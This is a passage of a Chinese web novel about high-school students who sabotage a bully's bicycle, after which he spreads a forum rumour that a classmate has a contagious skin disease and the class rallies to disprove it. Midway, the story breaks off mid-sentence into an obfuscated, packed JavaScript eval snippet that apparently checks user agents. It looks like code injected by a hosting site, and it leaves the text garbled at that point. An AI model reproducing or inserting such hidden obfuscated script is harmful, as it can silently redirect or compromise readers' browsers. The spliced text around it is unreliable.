陈恕偏过头目光深沉地看了她几眼,随手伸手摸了摸她的脑袋,“吃饭吧。” * 校运会闭幕仪式在下午,每个班都自行搬着凳子到操场上,重点一班也不例外。 校领导又在主席台上讲话,说着闭幕仪式的感谢词,随后就开始准备给各项比赛进行颁奖。 张扬在他们班前前后后走了几圈,拧起了眉心,“张期期、陈恕、还有许兰亭、林听,周嘉先他们几个呢?怎么没见人影啊!” 体育委员眼底闪过心虚,中午午休下课后他撞见的那一幕浮现在他的脑海里。 午休结束的铃声响起后,班上的同学大部分还趴在桌面上,他蹑手蹑脚地跑出了教室,去上了个厕所,然而回来的时候,他撞见张期期将许兰亭、周嘉先、林听、陈恕悄咪咪地叫到了教室外的走廊上。 “我已经打听到了,上午故意搞事的那个同学是高一十二班的洪志,他是骑自行车来上学的,下午闭幕仪式的时候我们去把他自行车轮胎里的气放掉!出口气!”张期期眨了眨眼睛道。 “好耶,我赞成!”许兰亭喊道。 “我也赞成!”周嘉先道。 “我也赞成!”林听道。 陈恕面色复杂:“……嗯,好。” … 体育委员回过神来,看向张扬,“老师,陈恕上午摔了一下,好像擦破皮了,他们几个带陈恕去校医室了。” 张扬一惊,“怎么样,严重吗?” “没事,就是擦破皮而已。”体育委员道。 “没事就好。”张扬点头道,片刻后他小声嘀咕,“上午擦破皮,怎么现在才去校医室,还需要那么多个人一起去吗?” 体育委员心一慌,这才意识到他说了个漏洞百出的借口…… 张扬走到班级队伍最后面的那张凳子坐下,看向主席台上的领导。 他走后,体育委员旁边的王思低声道:“你这借口太烂了。” “不是……你知道他们去干嘛吗?”体育委员压着嗓音震惊道。 王思“阴险”地笑了笑,“你说呢?那个人叫洪志,哪辆自行车都是我去打听后,告诉期期的。” 体育委员:…… 蒋文也凑过来,嘿嘿地笑了几声,“我还给了一个扳手。” 体育委员:?“啊???” — 与此同时,另一边—— 停车棚。 张期期从墙角偷偷探出个头来,她看了看周围,OK,没人!! 她伸手往后方招了招,许兰亭、林听、周嘉先悄咪咪地跟上了,陈恕抿了抿唇,挣扎片刻后认命地跟了上去。 陈恕站得笔直,与墙角那四个探出头、将头叠在一起的四个仿佛格格不入。 “确定没人!好!快跟上。”张期期看了一眼已经跑到停车棚的许兰亭他们,转身拉上陈恕跑过去。 许兰亭:“哪一辆吗?” 张期期找了找,拍着其中一辆的座鞍,“这辆。” “好的!没问题!交给我!”许兰亭蹲下身来拧开后轮胎的充气口。 张期期:“前轮胎交给我。” 一行人蹲下来,周围密密麻麻的自行车挡住了他们几人的身影。 看着前后两个轮胎都完全憋了下来,张期期才哼了一声,“便宜他了。” 林听看了陈恕一眼,又望向张期期,点头狠狠赞同。 几人准备离开时,周嘉先突然默默从口袋里拿出了个扳手,开始拧自行车的座鞍。 陈恕一愣,“先哥……” 张期期&许兰亭&林听:??? 周嘉先神色平淡,边拧边说:“哦,这是蒋文给我的,等会儿我把他的座鞍、脚踏板都拆下来,对了,还有车把手。” 说话间,他已经利落地拆开了这些零部件,随后将其一股脑塞在了对方的前筐处,“他没有扳手,估计要带着这些零部件把车推回家去!” “我跟你们说啊,要拆咱们就要完全拆出来,放在他车筐里,不能只是拆松动而已,要是他没注意到,将轮胎重新充好气又骑上了,半途骑着骑着车散架了,要是摔到哪里就不好了,咱们是要负责任的。” “像这样既出了口气,又不至于造成危险,导致我们要负重大责任的就刚刚好。” 一向温和沉稳的先哥说出这番话,陈恕、张期期、许兰亭、林听顿时目瞪口呆,这太不可思议了……敢情先哥你是个白切黑啊! * “获得女子铅球组第一名的是——高二重点一班的张期期!” “张期期——嗯?张期期?” 迟迟不见有人起身上来领奖,女主持赵晴愣了一下,一时间不知道如何是好。 张扬正准备起身,然而雷婷从容不迫地站起来,走上领奖台,淡定道:“不好意思,刚才太高兴了,所以没反应过来。” “啊,这是我的奖牌吗?谢谢,谢谢!” 雷婷自来熟地从校领导的手中将奖牌接过来,自己戴在脖子上。 看着在全校面前睁眼说瞎话的雷婷,张扬顿时一阵头疼,为什么要冒充张期期啊,直接说张期期有事,她代领不就行了? 颁奖完女子铅球组之后,是男子四百米接力赛。 “获得男子组四百米接力赛第一名的是高二重点一班的同学,陈恕、周嘉先、许兰亭、王思。” 唔……张扬抹了把脸,这几个家伙都不在,他再次准备起身时,却发现唯一在的王思带着班上其他几个男同学上去领奖牌了。 他隐隐约约从周围的议论声中听到,“陈恕啊……陈恕不是校草吗?怎么感觉上面那个陈恕一点儿也不帅啊,难道是同名同姓?” 张扬:…… 侯蕊、雷婷以及其他听到的同学都捂着嘴偷笑,唔……好吧,剃着平头的同学确实长得憨了点。 …… 等张期期、陈恕、许兰亭、林听、周嘉先回来之后,便看见他们班的同学拿着各项奖牌换来换去的,一问才知道,原来是因为他们几个人溜去搞事情,导致颁奖的时候班上的同学冒充他们上去领奖。 然而冒充他们上去领奖的同学又刚好自己也获奖了,只能又让其他同学冒充他们上去领奖。 得知这个操作的张期期、陈恕几人顿时一脸无语,为什么要冒充,直接让班主任上去帮他们几个拿一下不就成了? “哈哈哈——真的笑死我了。”王思跑到陈恕面前,“陈恕,刚刚李子凡冒充你上去领奖,被别人吐槽我们学校的校草名不副其实,哈哈哈——” “你风评被害,哈哈哈——” 陈恕:…… 76. 第 76 章 - “我靠!谁弄的?!有病啊!别让我逮到是谁搞的!” 停车棚里,洪志看着七零八落的自行车顿时火冒三丈,脑门一懵,他对着散架的自行车踹了一脚。 “砰——”的一声,自行车砸在地上,车身都扭曲了。 “啊——妈的!”他回过神来,看着仿佛就要报废了的自行车无能狂怒,他原地抓狂,揪着自己的头发转来转去。 他的附近,几个女同学无端端被他吓了一跳,莫名其妙地看了他几眼。 “看什么看!”洪志似有察觉,侧首望过去,他突然发飙喝道。 几个女同学吓了一跳,眼神瑟缩了一下,互相推推搡搡着推了自行车赶紧走。 … 校门口。 熙熙攘攘的人群中,张期期、陈恕、许兰亭、林听、周嘉先站在一起,三三两两地说着话。 周嘉先:“陈恕,过阵子就是五大学科竞赛的初赛了,你准备得怎么样?上一年你还没转过来,就错过了另外几科初赛的时间。” 陈恕点头,神色淡淡:“嗯,我知道,放心吧,我心里有数。” 闻言,张期期恍然大悟,“哦……五大学科的竞赛啊,是哦,我也想起来了,要是初赛过了的话,联赛会在我们高三上学期的时候举行。” 林听:“我记得十月左右是联赛,十一月是决赛吧,要是决赛取得的名次靠前的话是可以保送国内、国外的大学的,保送的学校专业虽然有限制,但也很厉害了。” 许兰亭啊了一声,看了看周嘉先又看了看陈恕,大惊失色,“不是吧?那先哥、陈恕到时候不参加高考,直接保送吗?” 他喊得太大声了,周围路过的同学顿时投过惊疑、羡慕的目光,什么!他们学校现在就有人保送了? 周嘉先尴尬得不行,连忙压低声音道:“别喊那么大声!没影的事情呢,现在就说出来,到时候我要是连初赛都没过,得被别人笑死,太尴尬了!” 陈恕点头,“嗯!先别说。” 许兰亭撇了撇嘴,小声嘀咕,“怎么可能是没影的事情,上一届你们俩成绩就蛮好的,只是因为我们高三的学长学姐也在,不然肯定是你们俩。” 周嘉先瞪了他一眼,“啧……” “好好好,我不说了!”许兰亭投降认输,然而过了片刻,他又压低声音道:“那……我们站这儿干嘛?” 张期期:…… “当然是看洪志拢着他那一堆自行车零件走出校门口啊!” 许兰亭一脸无语:? “你们不知道,通常情况下,罪犯都会时不时返回案发现场或者附近查看的吗?”他扫了一眼身旁的朋友,“我觉得我们几个现在就是,这样的行为会不会太蠢了,洪志等下出来肯定猜到是我们几个搞的事!” 陈恕抿唇:“就算我们现在不在这里,他也能猜到是我们搞的!” 张期期点头,白了许兰亭一眼,“他认识我们,当时就我们几个不是本人上去领奖的,他肯定能猜到我们当时没在操场开闭幕仪式。” 许兰亭:哦…… 话音刚落,校门口顿时有小小的骚乱,正关注着的张期期、陈恕几人立刻就注意到了,几人循声望过去,便见洪志铁青着一张脸,抱着一堆自行车零件,扯着那辆歪七扭八的自行车走了出来。 张期期、陈恕一行人:…… 他们面面相觑,眼神中闪过疑问,最终林听小声问道,“我记得我们好像只是拆了他自行车上的一些零件而已……吧?” “怎么……他的自行车扭成这样了呢?” 许兰亭眼一亮,兴奋道:“估计也有人看他不顺眼,我就说这么没品的人肯定到处得罪人!” 看来是这样了……张期期、林听、周嘉先纷纷点头附和,只有陈恕眼底划过一丝了然,他知道暴躁的人有时候发起怒火来是没有理智的,哪怕那是他自己的自行车,他也会动脚踹的。 一行人欣赏了一会洪志的洋相之后,纷纷心满意足地互相告别离开了。 周嘉先和陈恕有一段同路,于是陈恕载了他一段,张期期挥手坐上自家的汽车,许兰亭照例送林听回家。 * 一栋三层的自建房前面带着一个小院子,院子是由一米五高的围墙围起来的,洪志抱着一堆零件,拖着自行车小心翼翼地探头望进去围墙里面。 静悄悄的?太好了!爸妈没在! 洪志松了一口气,看着手中的东西后他突然又深情愤怒起来,用力推开院子的铁门,铁门“哐”的一声砸在墙上。 “肯定是陈恕他们那几个王八蛋弄干的!艹!” 他恨恨地将自行车和零部件放到一边,从院子角落放着的工具箱里拿出扳手、螺丝刀,准备开始组装自行车。 他一边组装,一边心里狠狠地想着怎么报复回去! 不然他直接砸掉陈恕的自行车?不!不行……艹!他们班所属的停车棚就在监控底下。靠!他今天就不该乱停自己的自行车,导致监控拍不到,不然谅陈恕他们也不敢公然在监控底下拆他的自行车。 “洪志!” “啊——你的自行车怎么变成这样了,你是不是又和别人打架了!”陈晓丽惊声怒骂,她连忙跑过去,看着扭曲的自行车车身,顿时血压都高了。 洪志眼底闪过烦躁,将扳手拍在地上,喊道:“我没和别人打架,是别人阴我。” “别人没事阴你干嘛,是不是你又惹事了?” 洪志一听,梗着脖子怒气十足地拿起扳手继续组装,他懒得和他妈说。 陈晓丽见状,又气又难受,指着洪志道:“家里花了七万八才把你送进一中,这辆自行车也是前个月才给你新买的,你这孩子怎么就这么不听话呢?钱很难赚的,你怎么就不乖一点、听话一点好好读书呢!” 洪志绷着脸,这些话他都听了无数遍了。 他一副“死猪不怕开水烫”、油盐不进的样子,气得陈晓丽连连后悔,“七万八呐!这钱花在你身上就跟打了水漂一样,早知道我和你爸当时就不该花这个钱!” 陈晓丽是上瑶村陈家的女儿,上瑶村拆迁时,她已经嫁人了,户口也迁出去了,所以拆迁费并没有她的份,她爸妈都给她的两个哥哥了。 同样的,京照一中减分录取的名额也是陈家哥哥们的儿子才有,因此陈晓丽当时便找上了陈岩(陈恕的父亲)。因为陈岩的儿子陈家宝即便是减分,也不可能到达京照一中录取的分数,陈家宝现在的成绩烂得不行,所以她想将这个名额买过来。 陈岩也答应了,而因为两家之间有点亲戚关系,所以陈岩夫妻俩开出了两万的价格。 两万得一个京照一中的减分入学名额,是非常值得的,陈晓丽高高兴兴地告诉了儿子洪志,然而计划不如变化,没想到陈岩失踪的儿子陈恕回来了,这个名额被陈岩作为良心上过不去后给儿子陈恕的补偿。 因此,陈晓丽只能另外找关系,最终找到了上瑶村另外一家人,他们家也是孩子即便减分也达不到京照一中的录取线的,而这家人与陈晓丽家并没有什么关系,对方便开出了七万八的价格。 又是这句话!早知道……早知道…… 洪志气得咬牙切齿,要不是因为陈恕突然回来,抢了明明要给他的入学名额,他们家只需要花两万块钱就能进京照一中,他妈也不会天天念叨、天天烦他! 早不回来,晚不回来,偏偏坏他的好事!还有这次! 洪志眼眸一转,突然想到了什么,“行了,妈你别说了,天天叨叨叨的,你烦不烦啊?晚点我爸回来让他帮我修一下。”说完,他摔门进了房子。 洪志连忙进了房间,将电脑打开,登陆进一中的论坛,他刷了几页之后,突然若有所思起来。 论坛!对了,论坛! 洪志冷哼一声,指间在键盘上快速地敲打着,最后选择匿名发布。 * 一条帖子在论坛内被疯狂地顶上去,盖了足足八百多层楼。 周末,京照一中的学生或在家、或出去玩,都被已经刷到这条帖子的同学纷纷转过去了链接,“快看看你们学校的校草,有一个他的大爆料!” 校草陈恕的大爆料?!众人纷纷惊讶地点进去,甚至还将这条帖子发给了他们各自的好友。 「13楼:我去,不会吧?那他还能来学校上课?学校都不管管的吗?我真服了!」 「14楼:不是,你们都不考虑这个帖子的真实性吗?就这么武断吗?」 「15楼:肯定是真的啊,你们想想看,陈恕从转学到我们学校之后,一直都捂得严严实实的,我就没见过他露出过胳膊和小腿。」 「16楼:我同意楼上说的。不然,他夏天还穿着长袖长裤这件事怎么解释?」 「……」 洪志指尖在鼠标滚轮上快速地转动着,看着一面倒的舆论,开心地笑了出来。 * 与此同时,另一边—— 十八级冲浪选手许兰亭正斜斜地靠在床上刷着手机,他像以往一样在睡前习惯性点开学校的论坛刷一刷。 然而一个黄标红底的“hot”帖子直接被顶在了论坛的最前面,标题:「惊!危!一中校草陈恕患有烈性皮肤传染病。」 许兰亭一愣,连忙坐直起身点进去,帖子是一名自称是一中高二男生在厕所不小心撞见陈恕换衣服,然后看到他身上有很多一大块一大块的皮肤癣,该男生本来也不在意、没多想,但没想到才过了一天,他身上也长了几块皮肤癣,就是当时撞到陈恕时,手臂贴在了对方身上。 该男生连忙去医院看了医生,医生告诉他那是一种烈性皮肤病,会传染的,他很大概率就是被陈恕传染到的。 帖子的最后,贴主说道,他是经过了挣扎和纠结后还是决定将这件事暴出来,毕竟陈恕在学校就一直捂得严严实实的,没有任何人见过他穿短袖短裤,就连温度逼近30度,他都没有换成夏装,这样的反常就意味着陈恕自己也知道自己身上是有皮肤传染病的。 且学校是人数密集的学生公共场所,陈恕这样明知自己身体有问题,却还让同校的同学承担被传染的风险这件事,他觉得是不可原谅的。 许兰亭看完,腾地一下子从床上蹦起来,“靠!什么鬼!陈恕要是有皮肤传染病,期期早就被传染了。” 当时期期和陈恕两人可是单独去温泉乡泡过温泉的,还找了一个狭小的,只有两个人能泡的那种。 “这谁啊!无缘无故、无根无据就乱说!我看看……靠!是匿名的!” 他急得在房间里转来转去的,使劲挠了挠脑袋,许兰亭又翻着帖子的楼层看了许久,“糟了糟了……我去!怎么感觉大家都深信不疑的样子。” “对!嗯!投诉投诉,我把这条帖子投诉掉。” “不对不对,太慢了,我私聊一下贴吧的吧主,让他把这条帖子删了。” 许兰亭私聊了贴吧的吧主之后,吧主并没有立刻回复他,难道是已经睡了? 他越翻着下面的言论,心里越气,想来想去,他打给了张期期。 … 此时是周日晚上十一点半。 轻薄淡黄色的窗帘随着窗外的晚风轻轻吹动着,张期期俯首坐在窗前的桌子上刷着数学试卷,她看了一眼还剩下的一页试卷,又看了看时间,十一点半了,写完大概就十二点了,刚好今天早点睡。 她美滋滋地打算着…… “噔噔噔——”放在桌面上的手机突然震动起来。 张期期余光瞥了一眼,唔……兰亭的电话,这么完了,兰亭打电话给她干嘛? 她放下笔,拿起手机接通,“喂——兰……” 「期期,你快看我们学校的论坛,有人在上面爆料说陈恕得了烈性皮肤传染病,还说他故意隐瞒这件事,意图传染给同学们。」 “放屁!陈恕要是有皮肤病,我不可能不知道?这样的帖子是个人都不信。” 「……你去看看论坛帖子下面的留言吧,真的……很多人……信。」许兰亭越说,语气越虚。 张期期眉头一皱,连忙打开电脑,登陆论坛上去看,她一眼就看到了顶在最前面的帖子,帖子的标题看得她眼里都要冒出火花了…… 足足一千多层楼了,她草草地翻阅了十几个页面,一目十行地浏览过去,顿时明白了问题出在哪儿了。 她这边安静着,许兰亭只能从手机传讯里听到她越来越重的呼吸声,他小心翼翼问道:「期期……我们现在怎么办?」 “想办法把那条帖子先删除。”张期期脸色难看。 「我已经联系贴吧的吧主了,但对方还没回复我,这个点可能已经睡了。」 张期期看着桌子上的闹钟沉默半响后才道:“不能让帖子留到明天,明天周一返校,要是还没删除的话,肯定更多人传播、议论。” “兰亭,我记得你妈妈家是搞科技软件什么的,估计他们那边有厉害的程序员,你能不能问问看,看看他们有没有办法黑掉那条帖子……” 张期期一说,许兰亭恍然大悟,「对啊!我怎么没想到呢,等会儿我打个电话给我哥,让他去帮我搞定这件事。我先先不和你说了,我赶紧打电话去,我哥还没回来估计在公司那边加班。」 话落,电话就被挂断了,张期期坐在电脑前看着那些留言一条条地怼回去,哪怕她知道这个帖子很大可能要被黑掉了,那些留言的人也不会看到她的回复,但她还是想这么做! 夜静悄悄的,闹钟上的秒针一顿一顿地走着,发出嚓嚓嚓的声响。 她一条一条地反驳回复着,良久后,帖子页面突然一片空白,张期期立刻明白这是帖子已经被黑掉了。 她迅速返回贴吧的主页,再次点进去,发现那条帖子已经不在了。 同时,桌子上的手机再次震动起来,张期期:“嗯,我看到了……已经删除了,兰亭谢谢你。这么晚了,还麻烦你妈妈那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她打开搜索引擎,搜了一条关于“夏日紫外线辐射的危害以及如何物理防晒”的新闻,里面提到京照市最近几年夏日辐射的强度在慢慢增强,以及穿防晒服是预防防晒的好办法之一。 她将这条新闻发到了班群里,据她所知,他们班同学基本上都有早上起来打卡英文的习惯,所以他们很大概率是会看班群消息的,再加上这一次的论坛帖子,想来她的同学们应该能够意识到她在讲什么! 做完这一切之后,张期期才将手机放回床头柜上面,熄灯睡觉。 —— 周一。 步入五月中旬,京照市的炎热再度升级,早上七点多钟温度就已经直逼三十多度,金色的太阳光芒耀眼无比。 陈恕骑着自行车慢速行驶在自行车车道上,这附近一如既往的拥挤、人流车流量巨大。 只不过……今天好像有些怪异,他隐隐约约地察觉到原本拥挤的人流总会在他附近时突然分流,穿着校服的同学仿佛将他当成障碍物一样,远离然后绕过去? 陈恕蓦然对上一名陌生同学的视线,对方见他看过去,便猛然转过头去,好像眼神中还带着忌讳? 这是……怎么了?他攥紧自行车的车把手,抿了抿唇压下心底有些杂乱的情绪。 “陈恕——” 还是在这一个时间点,还是在这一段路上,身后传来了熟悉的喊声,他不用想都知道是张期期跑过来了…… 陈恕停下自行车,脚撑在地面上,“期、期期……你怎么、怎么穿着秋季的长袖衬衫校服?” 张期期熟练地坐在他的后座上,双手揪住他的衣服下摆,神色自然、语气随意,“诶?这不是早上的太阳太晒了吗?穿长袖防晒啊!” 陈恕愣了下,点头,这倒是,“哦……” 他踩下单车的脚踏板往学校骑去,身后的她还在叽叽喳喳地讲着,“陈恕……你说我要是这个夏天做好防晒,能不能白一度啊。” “林听好白、还有你也是很白,我好羡慕啊!” “我昨晚看了新闻,现在夏天的辐射越来越强了,得做好防护,不然很容易晒伤的,今天气象台还发布了高温预警呢……” 或许正是张期期的这一番话,陈恕骑着自行车在校门口撞见同样穿着秋季长袖衬衫的许兰亭和林听时仅仅是愣了一下,但也没有多想。 几人打了声招呼后,将自行车停在停车棚之后,往教学楼走去。 这一路上,陈恕一行人又遇见了他们班的同学,毫无例外的是大家都穿着长袖衬衫。 见此,陈恕眉心微拧,眼眸中闪过困惑,是巧合吗? 然而等他走进班级里时,看见班上只要是来了的同学都一个个都长袖时,他目光一沉,不是巧合! 班上的同学听到脚步声,只是下意识抬眸望了一眼之后便神色“自然”地低下头继续忙各自的事情,欲盖弥彰的样子不要太明显…… 陈恕坐回自己的位置上,余光扫了一眼隔着一条走道都能够让他感受到对方紧张的张期期,她这个样子……看来是针对他的?也是,全校只有他一个人在大夏天还捂得严严实实的。 他收回视线,眼帘微垂,遮住眼底的晦涩,这么多人都知道的事情,只有他不知道?而他比起班上的同学来,缺少的是信息的快速获得,所以这件事应该是发生在网络上。 就在他一步步揣测着的时候,穿着短袖衬衫校服的周嘉先踏入教室,随后他愣了一下,笑着问道:“怎么回事?怎么大家都穿着长袖?” 教室气氛突然凝滞下来,周嘉先彻底愣住了……他缓缓走向自己的位置,脑子里却在进行着头脑风暴。 他错过什么了吗? 回想这个周末他真是累死了……继妹成绩单下来了,考得惨不忍睹,小姑娘在家绷着一张脸,他妈和叔叔又忙,只能他亲自给她补课了。 真是……每一门科目都要补,他狂教了两天,教得口干舌燥,连自己的作业都没时间写,还是昨天晚上疯狂赶完的,赶完作业之后他倒头就睡,今天早上还起晚了呢! 难道……是周末的时候发生了什么事? 周嘉先将书包塞进桌柜,摸出手机准备看一下时,许兰亭突然出现在他的面前,弯下腰伸手压着他的肩膀,轻声道:“先哥你搞什么,不配合组织是吧?” 周嘉先:啊? 他低下头看着正戳着他腰侧的许兰亭的另一只手,对方手上团着一件衣服,没看错的话是学校的长袖校服衬衫…… 许兰亭小声道:“走,跟我去厕所。” … 男厕。 周嘉先一脸复杂,“这衣服皱成这样子,我一定要穿吗?” 许兰亭冷酷道:“穿!” 周嘉先:好吧…… 片刻后,他道:“我穿好了,现在你能告诉我是怎么回事了吗?” 77. 第 77 章 - 当得知周末发生的一切事情时,周嘉先忍不住捂住了额头,不是吧?怎么就那么凑巧呢? 京照一中的贴吧吧主其实就是他,上一届吧主毕业离校后,就把贴吧的管理权交给了他,不过这件事并没有其他人知晓。他也不想告诉别人。 平日里他每天都有看贴吧的习惯,但偏偏是这周末,他忙得连自己的作业都没时间写,怎么会去看贴吧呢!所以也就没有第一时间发现这条帖子,导致这条帖子居然直接冲上最顶端,生生挂了两天! “有没有联系吧主将帖子删了?”周嘉先随口问道,心里却想着,等会儿回去教室一定要把帖子删了。 许兰亭:“放心吧,我已经找人黑了那条帖子了。” 周嘉先:……好吧。 他拉了拉身上的长袖衬衫,一脸嫌弃,真的太皱了。 “那行,我们回去吧。”周嘉先一边走,一边又道,“我觉得期期让我们班的同学都穿上长袖这个方法其实还行,不过,陈恕肯定猜测到什么了。” 许兰亭:“本来也没打算瞒他,怎么可能瞒得住,这方法只是为了堵住其他同学的嘴。” 两人边说边准备往教室走去,然而他们刚拐了个弯走出厕所时,远远地看见他们班教室门口已经围了一圈人,此刻正吵得不可开交。 期期的声音! 周嘉先、许兰亭猛地看了一眼彼此,周嘉先立刻道:“我过去看着,你快把张老师找过来。” 许兰亭立刻道:“好,我现在就去。”他拔腿就跑。 周嘉先深吸了一口气,气势汹汹地跑过去,挤到人群中张期期、陈恕的面前。 他张开手,将怒气上头的张期期拦在了身后,而林听、陈恕也一左一右地拉着她的胳膊,劝着她。 林听急声道:“期期,先哥回来了,你别冲动。” 陈恕脸色难看,期期要是在学校动了手,免不了会被记过的,虽然高中处分不会记入档案,也不会对高考录取产生影响,但很有可能对大学评选和优秀毕业生推荐有影响。 “期期……冷静点,别这样。”陈恕强硬地将人半揽在自己的怀里,旁人的诋毁谩骂对他来说其实无关痛痒,但若是因为他的缘故,导致期期被处分,那他才真的是不可饶恕。 周嘉先瞥了一眼身后的张期期、林听和陈恕,以及他们班义愤填膺的同学。 “姚俊,你什么意思?带着你们班的同学来我们教室门口闹什么?” 姚俊是隔壁重点二班的班长。 姚俊盯着周嘉先道:“我们班和你们班一墙之隔。平时来来往往都走这条走廊,下学期就是高三了,万一我们班的同学被你们班的陈恕传染了,耽误了我们的高考那怎么办?你们负责得起吗?” 说着,他还往后退了好几步,一副避之不及的样子,他身后的重点二班的同学也纷纷后退好几步。 这个动作彻底惹怒了张期期他们,她怒道:“你们有什么证据证明陈恕有传染病?他要是有传染病,我们班的同学和他相处了那么久,肯定早就被传染了……” 王思:“就是就是!我们班的同学都没有被传染,你们就开始担心了?更别说陈恕都没有传染病呢!” 蒋文:“还耽误高考?哟哟哟,本来成绩就烂吧,让我想想,你上次排名多少来着,啊……好像就要跌出去重点班了吧?” 侯蕊抱胸冷嘲道:“该不会你这次这么跳脚,是想碰瓷吧?怕下次跌出了重点班,就说是陈恕传染到你,导致你生病没考好?” 自认为自己在班里是小透明的顾佳熹也忍不住小小声道:“不知道操的哪门子心……” 林听:“管好你自己吧!” …… 喂喂喂—— 周嘉先满脸黑线,这些说话这么刻薄的,真的是他们班的同学吗?感觉好像不需要他,他们的嘴皮子战斗力就非常惊人了! 原以为自己跑过来是拦住别人班的同学,他怕自己班里同学吃亏,现在他担心的是要是他不拦着,自己班的同学把别人班同学气出好歹了,那就麻烦了…… 果不其然,他身前重点二班的同学一个个气得面红耳赤,感觉就要动手了。 姚俊咬牙切齿,“没传染病,他大夏天的整天捂成这样干什么?难道不是心虚吗?” “那条帖子上说了,他身上全是一大块一大块的皮肤癣,估计是不敢见人所以才穿成这样的吧?” “是啊,不如你们说说,他为什么捂成这样啊?” 面对重点二班同学的质问,重点一班的同学突然安静了下来,因为他们也曾在心底里悄悄猜测过,因为他们也确实不知道为什么陈恕一直穿得这么严实。 众人面面相觑,根本找不到站得住脚的理由反驳回去。 见此,姚俊以及他身后的一群人面露得意,“没话说了吧?哼……”他看向陈恕冷笑道:“有病就去治,难道要我们承担被你传染的风险吗?” 站在人群中的陈恕神色平静,他怀里的期期,以及身前的先哥,还有他身后的同学们都在为了说话,为他出头。 正常人都会觉得他穿得严严实实就是为了遮挡身上的皮肤问题,这一点非常合乎逻辑,但他的同学们还是硬着头皮东拉西扯攻击别人,怀着对他的私心义无反顾、摒除那些连他们自己都觉得合乎逻辑的考虑来护着他。 这一切都只是因为他是陈恕,他是重点一班的一份子。 这一刻陈恕蓦然想起他刚转到这个班级的时候,他冷冷淡淡地坐在位置上,而他的同学们一个个自顾自地跳到他面前,热情地自我介绍着,说着欢迎他加入重点一班这个大家庭。 陈恕心里漫上密密麻麻的酸涩和喜悦,那些身上的伤疤仿佛在这一刻变得灼热起来,他记忆中的疼痛慢慢被这一刻的感动取代。 他的同学即便找不出话语反驳,却还是一个个怒目而视,充满敌意地望着对方。 陈恕缓缓松开半揽着张期期肩膀的手,他伸手搭在长袖衬衫的扣子上,曾经让他难堪又痛苦的伤疤如今显露在旁人的眼底下又怎么样? 他不能让他的同学们被扣上一个包庇传染病同学的帽子……只要他把衣服脱下来给他们看看满身的伤疤,他们就会知道他为什么捂得严严实实的,就会知道他没有得皮肤传染病。 只要他把衣服脱下来…… 只要…… 这没有什么不可以的,不过是以前的伤疤而已。 “你瞎了吗?我们班又不是只有陈恕一个人穿着长袖衬衫?”张期期伸手按住了陈恕的手臂,对着他摇了摇头,随后大声呵斥道。 她的这番话说出来,重点一班的同学纷纷回过神来,理直气壮道:“睁开你们的眼睛好好看清楚,我们班的同学都穿着长袖衬衫校服!” 张期期继续道:“陈恕没有皮肤传染病,不会传染你们,但京照市可是有夏日辐射的,这倒是会晒伤皮肤。你们与其担心陈恕传染你们,倒不如好好做好防晒,免得晒伤。” 侯蕊冷笑道:“看到没有,陈恕这么白,就是衣服捂得严实,防晒做得好,不然……像你这样长成黑炭吗?” 姚俊确实长得格外的黑,还喜欢穿粉色的衣服…… 他气急败坏,“你们的衣服都是今天突然穿的,明摆着就是为了混淆视听!” 这时,走廊那一头传来了凌乱、震天的跑步声,众人下意识的望过去,只见许兰亭拉扯着张扬急急忙忙地跑过来,“我没来迟吧?我把张老师叫过来了……” 张扬跑得上气不接下气,他刚好在教学楼底下巡视卫生,却不妨被许兰亭拉扯着跑,半道上还给他解释了这件事的来龙去脉。 此时,他看着两个班的同学顿时感到头疼不已,为什么这些学生有什么事情、有什么疑惑不能私底下找老师,非要一大群人闹成这样! 张扬平复了急促的呼吸之后,沉声道:“姚俊,还有二班的同学,我首先要告诉你们一点,我们班的陈恕并没有得所谓的烈性皮肤传染病,这点我是可以保证的。” 姚俊一脸怀疑,张扬是一班的班主任,他肯定会包庇陈恕的,因为陈恕是年级第一,老师总是会格外优待好学生的,难道不是吗? 他心中冷哼一声,反驳道:“那陈恕干嘛穿成这样?老师……你要怎么证明他没有得传染病?不然,让他把衣服脱下来呗,我们看看他身上有没有皮肤癣呗?” ……吵成这样,陈恕都不愿意脱下衣服自证清白,事实已经很明显了不是吗?姚俊心中笃定! 张扬闻言,顿时沉下了脸,若不是上次在男厕撞见陈恕换衣服看到了他身上的疤痕,这时候他肯定会同意这个提议的,然而现在他清楚地知道陈恕身上遭遇了什么…… 他作为班主任老师,若是不能保护好自己的学生的身心健康,那他还当什么老师!他不可能让那个孩子过去的难堪暴露在这些不知轻重的学生眼皮下!他不可能让自己学生的尊严被别人踩在脚底下! 陈恕抿了抿唇,他不该像个懦夫一样躲在他的同学身后,让他的同学保护他,他正想往前走一步,自己面对这些质疑、为难时,他的身旁好几个人同时揪住了他。 陈恕:…… 张扬也张开一条手臂挡在他的身前,“他穿成什么样都是他的自由!” “老师,就因为他是年级第一,你就包庇他吗?有烈性皮肤传染病就该休学去治病!老师!我们这些学生呢,你就只担心他,不担心我们被传染吗?” 张扬抹了把脸,有些无语,“你们就没想到过可以去医院看一下吗?你们可以不相信老师,但总不能不相信医院的医生吧?” 啊……这!众人愣了一下。 张期期眨了眨眼睛,高兴道:“好,放学后我们就去医院看一下,到时候我们会把医生的诊断报告书发在论坛上的,你们就等着给陈恕道歉吧!” ……这样一来,陈恕不用当着大家的面脱衣服,也可以洗清那些谣言了! 重点一班的同学:“你们就给我们等着吧!!哼!” 他们丢下一句狠话,簇拥着陈恕、张期期几人回了教室。 张扬:…… 为什么他班上的学生都一副反派角色的模样? * 夏日。昼长夜短,下午六点多,天边还是一片亮堂。 陈恕捏着一张诊断报告书走出了就诊室,张期期、许兰亭、林听、周嘉先几人围上去,探头探脑地看着。 张期期哼了一声,随后拿出手机,“陈恕,你把诊断书拿好,我拍一张,现在就把它发到论坛上面!” 陈恕微微点头,“好。” 张期期登陆上论坛,立刻将照片传上去,她指尖快速地打着字,立刻发了一条澄清的帖子。 与此同时,站在一旁的周嘉先也偷偷地登陆论坛,用他管理员的身份将张期期发布的那条帖子挂在了最顶端。 许兰亭眉眼一挑,“期期……你发的帖子被吧主挂在最上面了,哼!算他识相,上次那条谣言他居然让它挂了两天!” 周嘉先:…… 张期期点点头,深深吸了一口气,笑道:“好啦,现在事情已经结束了!明天就等着他们道歉吧!” 